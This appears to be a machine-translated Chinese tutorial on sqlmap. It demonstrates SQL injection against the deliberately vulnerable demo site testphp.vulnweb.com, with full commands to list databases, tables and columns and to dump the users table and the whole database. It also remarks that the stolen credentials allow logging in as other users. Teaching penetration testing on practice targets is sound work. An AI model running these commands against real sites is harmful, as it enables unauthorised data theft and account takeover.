使用Sqlmap进行数据库渗透测试(SQL注入)(第1部分)

sqlmap是一个开源的渗透测试工具,可以自动检测和利用SQL注入漏洞并接管数据库服务器。它配备了强大的检测引擎,为终极渗透测试仪提供了许多利基功能,以及从数据库指纹识别,从数据库获取数据到访问底层文件系统以及通过输出操作系统执行命令的各种交换机。带连接。
特征
  • 完全支持MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,IBM DB2,SQLite,Firebird,Sybase,SAP MaxDB,HSQLDB和Informix数据库管理系统。
  • 完全支持六种SQL注入技术:基于布尔的盲,基于时间的盲,基于错误,基于UNION查询,堆叠查询和带外。
  • 通过提供DBMS凭据,IP地址,端口和数据库名称,支持直接连接到数据库,而无需通过SQL注入。
  • 支持枚举用户,密码哈希,权限,角色,数据库,表和列。
  • 自动识别密码哈希格式,并支持使用基于字典的攻击来破解它们。
  • 支持根据用户的选择完全转储数据库表,一系列条目或特定列。用户还可以选择仅从每列的条目中转储一系列字符。
  • 支持搜索特定数据库名称,跨所有数据库的特定表或跨所有数据库表的特定列。例如,这有助于识别包含自定义应用程序凭据的表,其中相关列的名称包含类似name和pass的字符串。
  • 当数据库软件是MySQL,PostgreSQL或Microsoft SQL Server时,支持从数据库服务器底层文件系统下载和上载任何文件。
  • 当数据库软件是MySQL,PostgreSQL或Microsoft SQL Server时,支持在数据库服务器底层操作系统上执行任意命令并检索其标准输出。
  • 支持在攻击者计算机和基础操作系统的数据库服务器之间建立带外有状态TCP连接。根据用户的选择,此通道可以是交互式命令提示符,Meterpreter会话或图形用户界面(VNC)会话。
  • 通过Metasploit'sMeterpreter getsystem命令支持数据库进程'用户权限提升。
使用Sqlmap进行数据库渗透测试(第1部分)
这些选项可用于枚举表中包含的后端数据库管理系统信息,结构和数据。
使用Sqlmap进行数据库渗透测试(第1部分)
有时您访问的网站允许您通过其图片库选择产品项目,如果您观察其URL,您会注意到产品项目是通过其产品ID号码来调用的。
我们来举个例子吧

http://testphp.vulnweb.com/artists.php?artist=1

因此,当攻击者访问这种类型的网站时,他总是检查Web服务器内部的SQL漏洞以进行SQL攻击。
使用Sqlmap进行数据库渗透测试(第1部分)
让我们来看看攻击者如何验证SQL漏洞。
攻击者将尝试打破查询以便获取错误消息,如果他成功收到错误消息,则确认Web服务器受SQL注入影响。

http://testphp.vulnweb.com/artists.php?artist=1'

从屏幕截图中您可以看到我们已成功收到错误消息现在我们已在Web服务器上进行SQL攻击,以便我们可以获取数据库信息。
使用Sqlmap进行数据库渗透测试(第1部分)


数据库

对于数据库渗透测试,我们总是选择SQLMAP,这个工具对于无法手动检索数据库信息或不了解SQL注入技术的初学者非常有帮助。
在Kali Linux中打开终端并键入以下命令,该命令在目标网站上启动SQL注入攻击。

sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --dbs --batch

-u:  目标URL
-dbs:获取数据库名称
-batch:只要需要用户输入,这将使sqlmap保持默认行为
使用Sqlmap进行数据库渗透测试(第1部分)
从给定的屏幕截图中,您可以看到我们已成功检索数据库名称“ acuart
使用Sqlmap进行数据库渗透测试(第1部分)




我们知道数据库是一组记录,其中包含多个表,因此现在使用另一个命令从数据库系统内部获取整个表名。

sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart --table --batch

-D:要枚举的DBMS数据库(获取的数据库名称)
-tables:枚举DBMS数据库表
使用Sqlmap进行数据库渗透测试(第1部分)
作为截图给出的结果,我们列举了数据库系统的整个表名。数据库“acuart”中有8个表如下:
T1: artists
T2: carts
T3: categ
T4: featured
T5: guestbook
T6: pictures
T7: products
T8: users
使用Sqlmap进行数据库渗透测试(第1部分)




现在我们将进一步尝试枚举所需表的列名。由于我们知道数据库acuart中有一个users表,我们想知道users表的所有列名,因此我们将为列标题枚举生成另一个命令。
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart -T users --columns --batch
-T:要枚举的DBMS表(获取的表名)
-columns:枚举DBMS数据库列
使用Sqlmap进行数据库渗透测试(第1部分)
使用Sqlmap进行数据库渗透测试(第1部分)


从表中获取数据

我们慢慢地逐渐渗透了数据库的许多细节,但最后也是最重要的一步是从表的列内部检索信息。因此,最后我们将生成一个将转储用户表信息的命令。

sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart -T users --dump --batch

-dump:转储DBMS数据库的所有信息
使用Sqlmap进行数据库渗透测试(第1部分)
从给定的截图中你可以看到它已经转储了表用户的全部信息,主要是用户表包含其他用户的登录凭证。您可以使用这些凭据代表其他用户登录服务器。
使用Sqlmap进行数据库渗透测试(第1部分)


全部转储

最后一个命令是sqlmap中最强大的命令,可以节省您在数据库渗透测试中的时间; 此命令将立即执行上述所有功能并转储整个数据库信息,包括表名,列等。

sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart --dump-all --batch

使用Sqlmap进行数据库渗透测试(第1部分)
这将立即为您提供包含数据库名称和表记录的所有信息。
亲自试试!!!
使用Sqlmap进行数据库渗透测试(第1部分)
转载请注明本文链接: http://www.mayidui.net/t2332.html
话题: Sqlmap SQL注入
游客
登录后才可以回帖,登录 或者 注册